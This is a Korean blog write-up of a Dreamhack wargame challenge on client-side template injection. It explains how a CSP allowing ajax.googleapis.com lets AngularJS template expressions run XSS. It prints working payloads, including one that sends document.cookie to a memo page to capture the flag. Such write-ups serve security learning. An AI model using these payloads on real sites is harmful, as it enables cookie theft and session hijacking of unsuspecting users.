본문 바로가기

모의해킹/Dreamhack

Client Side Template Injection

728x90

문제 정보

 

CSTI(Client Side Template Injection)

클라이언트에서 사용되는 템플릿에 임의 구문을 주입하는 의미를 가진다.

-> 템플릿 표현식 + 자바스크립트 구문을 조합해서 XSS 공격을 시도할 수 있는 취약점이다.

SSTI 와의 차이점은 악용을 통해 이루어지는 효과가 다르다(서버 측 주입이면 원격코드를 실행시키는 것이 목적이다)

 

바로 소스코드를 보자!

@app.after_request
def add_header(response):
    global nonce
    response.headers['Content-Security-Policy'] = f"default-src 'self'; img-src https://dreamhack.io; style-src 'self' 'unsafe-inline'; script-src 'nonce-{nonce}' 'unsafe-eval' https://ajax.googleapis.com; object-src 'none'"
    nonce = os.urandom(16).hex()
    return response

CSP가 설정이 되어있어 확인을 해보면 https://ajax.googles.com 출처는 허용이 되어있다.!

 

angular.js는 ajax.googles.com을 로드할 수 있다., (검색,,, 했음..)

 

그러면 기본적인 페이로드 형식은

<html ng-app><script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.8.2/angular.min.js"></script>{{constructor.constructor('alert(1)')()}}</html>

 

 

해당 페이로드를 입력을 했을 때, alert 가 실행이 되었다,,

그러면 이 페이로드를 이용하여 flag 값을 얻으면 될 거 같다!(/vuln 페이지에 xss가 실행이 되는지 확인할 수 있음)

 

<html ng-app><script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.8.2/angular.min.js"></script>{{constructor.constructor("location.href='/memo?memo='+document.cookie")()}}</html>

예전에 풀었던 XSS , CSP문제랑 똑같기 때문에 템플릿 취약점 개념만 알면 풀 수 있는 문제이다.,!!!

 

'모의해킹 > Dreamhack' 카테고리의 다른 글

Relative Path Overwrite  (0) 2023.12.02
phpMyRedis  (0) 2023.12.01
CSP Bypass  (0) 2023.11.23
[wargame.kr] crack crack crack it  (0) 2023.11.20
[wargame.kr] dun worry about the vase  (0) 2023.11.18